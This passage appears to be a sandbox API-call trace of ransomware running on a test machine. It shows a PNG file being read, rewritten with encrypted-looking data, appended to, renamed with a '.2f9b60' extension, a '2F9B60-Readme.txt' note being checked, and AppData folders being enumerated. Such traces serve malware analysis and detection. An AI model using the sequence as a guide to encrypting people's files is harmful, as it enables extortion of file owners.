returned 0x1b861800 [0141.078] wcscpy (in: _Dest=0x1b861800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0141.078] wcscat (in: _Dest=0x1b861800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" [0141.078] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\2f9b60-readme.txt")) returned 0x20 [0141.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861800) returned 1 [0141.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 Thread: id = 2158 os_tid = 0x1544 [0140.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\jwed48rw723e5iqu2j1q.png")) returned 0x20 [0140.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png", dwFileAttributes=0x20) returned 1 [0140.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\jwed48rw723e5iqu2j1q.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af0 [0140.774] GetFileSizeEx (in: hFile=0x1af0, lpFileSize=0x3a8df9a0 | out: lpFileSize=0x3a8df9a0*=19574) returned 1 [0140.774] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x4c72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.774] ReadFile (in: hFile=0x1af0, lpBuffer=0x3a8df920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a8df968, lpOverlapped=0x0 | out: lpBuffer=0x3a8df920*, lpNumberOfBytesRead=0x3a8df968*=0x4, lpOverlapped=0x0) returned 1 [0140.775] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0140.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdba0 [0140.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0140.776] NtQuerySystemTime (in: CurrentTime=0x3a8df860 | out: CurrentTime=0x3a8df860*=132462177460234000) returned 0x0 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x1cbfcf7b [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x558894a2 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x2e150777 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x428029f1 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0xaccadc4 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x27361315 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x7bb8720c [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x4d30f11 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x44357454 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x1fe1d881 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x1a081754 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x6c3ef5e9 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x468417b [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x25ea309e [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x35307dea [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x255b064b [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x32eda35d [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x16aa235d [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x41c2b7e9 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x42abac67 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x197d4e53 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x8aececc [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x64a72b36 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x7faf3ff1 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x6e227543 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x52617c62 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x2ff4f570 [0140.776] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x6c2f9a07 [0140.777] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x28c42c60 [0140.777] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x4cf68c3e [0140.777] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x31a89f20 [0140.777] RtlRandomEx (in: Seed=0x3a8df850 | out: Seed=0x3a8df850) returned 0x1e3d9248 [0140.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0140.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0140.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0140.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0140.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0140.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0140.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42281180 [0140.787] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.787] ReadFile (in: hFile=0x1af0, lpBuffer=0x42281180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a8df8c0, lpOverlapped=0x0 | out: lpBuffer=0x42281180*, lpNumberOfBytesRead=0x3a8df8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.787] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0140.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0140.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0140.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42284d90 [0140.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0140.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0140.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0140.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0140.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.789] WriteFile (in: hFile=0x1af0, lpBuffer=0x42284d90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a8df8c0, lpOverlapped=0x0 | out: lpBuffer=0x42284d90*, lpNumberOfBytesWritten=0x3a8df8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42284d90) returned 1 [0140.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42281180) returned 1 [0140.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42059ba0 [0140.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0140.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0140.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0140.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x420591a0 [0140.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0140.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0140.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0140.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0140.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b86fe00 [0140.964] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.964] WriteFile (in: hFile=0x1af0, lpBuffer=0x1b86fe00*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3a8df970, lpOverlapped=0x0 | out: lpBuffer=0x1b86fe00*, lpNumberOfBytesWritten=0x3a8df970*=0x122, lpOverlapped=0x0) returned 1 [0141.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86fe00) returned 1 [0141.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0141.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0141.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0141.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdba0) returned 1 [0141.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc30) returned 1 [0141.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x20279bb0 [0141.048] wcscpy (in: _Dest=0x20279bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png" [0141.048] wcscat (in: _Dest=0x20279bb0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png.2f9b60" [0141.048] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png.2f9b60", NtPathName=0x3a8df990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1cecf780 [0141.048] NtSetInformationFile (FileHandle=0x1af0, IoStatusBlock=0x3a8dfa30, FileInformation=0x1cecf780, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0141.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf780) returned 1 [0141.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced42e0) returned 1 [0141.060] NtQueryInformationFile (in: FileHandle=0x1af0, IoStatusBlock=0x3a8df9f8, FileInformation=0x3a8dfa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a8df9f8, FileInformation=0x3a8dfa08) returned 0x0 [0141.060] NtSetInformationFile (FileHandle=0x1af0, IoStatusBlock=0x3a8df9f8, FileInformation=0x3a8dfa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0141.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 [0141.065] FlushFileBuffers (hFile=0x1af0) returned 1 [0141.073] CloseHandle (hObject=0x1af0) returned 1 [0141.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b862300 [0141.075] wcscpy (in: _Dest=0x1b862300, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0141.075] wcscat (in: _Dest=0x1b862300, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" [0141.075] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\2f9b60-readme.txt")) returned 0x20 [0141.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862300) returned 1 [0141.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861800) returned 1 Thread: id = 2159 os_tid = 0x1548 [0140.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42061730 [0140.212] wcscpy (in: _Dest=0x42061730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0140.212] wcscat (in: _Dest=0x42061730, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0140.212] wcscat (in: _Dest=0x42061730, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*" [0140.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502050 [0140.212] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x20502050 | out: lpFindFileData=0x20502050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d610 [0140.213] wcscmp (_String1=".", _String2=".") returned 0 [0140.213] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x20502050 | out: lpFindFileData=0x20502050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.213] wcscmp (_String1="..", _String2=".") returned 1 [0140.213] wcscmp (_String1="..", _String2="..") returned 0 [0140.213] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x20502050 | out: lpFindFileData=0x20502050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0140.213] wcscmp (_String1="Data", _String2=".") returned 1 [0140.213] wcscmp (_String1="Data", _String2="..") returned 1 [0140.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420617b0 [0140.213] wcscpy (in: _Dest=0x420617b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0140.213] wcscat (in: _Dest=0x420617b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0140.213] wcscat (in: _Dest=0x420617b0, _Source="Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0152.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868e40 [0152.054] wcscpy (in: _Dest=0x1b868e40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0152.054] wcscat (in: _Dest=0x1b868e40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\" [0152.054] wcscat (in: _Dest=0x1b868e40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*" [0152.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a080 [0152.054] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0152.090] wcscmp (_String1=".", _String2=".") returned 0 [0152.090] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.090] wcscmp (_String1="..", _String2=".") returned 1 [0152.090] wcscmp (_String1="..", _String2="..") returned 0 [0152.090] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0152.090] wcscmp (_String1="CJW3O3KP.BX7", _String2=".") returned 1 [0152.090] wcscmp (_String1="CJW3O3KP.BX7", _String2="..") returned 1 [0152.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d870 [0152.091] wcscpy (in: _Dest=0x4205d870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0152.091] wcscat (in: _Dest=0x4205d870, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\" [0152.091] wcscat (in: _Dest=0x4205d870, _Source="CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0152.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205dc30 [0152.091] wcscpy (in: _Dest=0x4205dc30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0152.091] wcscat (in: _Dest=0x4205dc30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\" [0152.091] wcscat (in: _Dest=0x4205dc30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*" [0152.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99e10 [0152.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0152.092] wcscmp (_String1=".", _String2=".") returned 0 [0152.092] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.092] wcscmp (_String1="..", _String2=".") returned 1 [0152.092] wcscmp (_String1="..", _String2="..") returned 0 [0152.092] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, 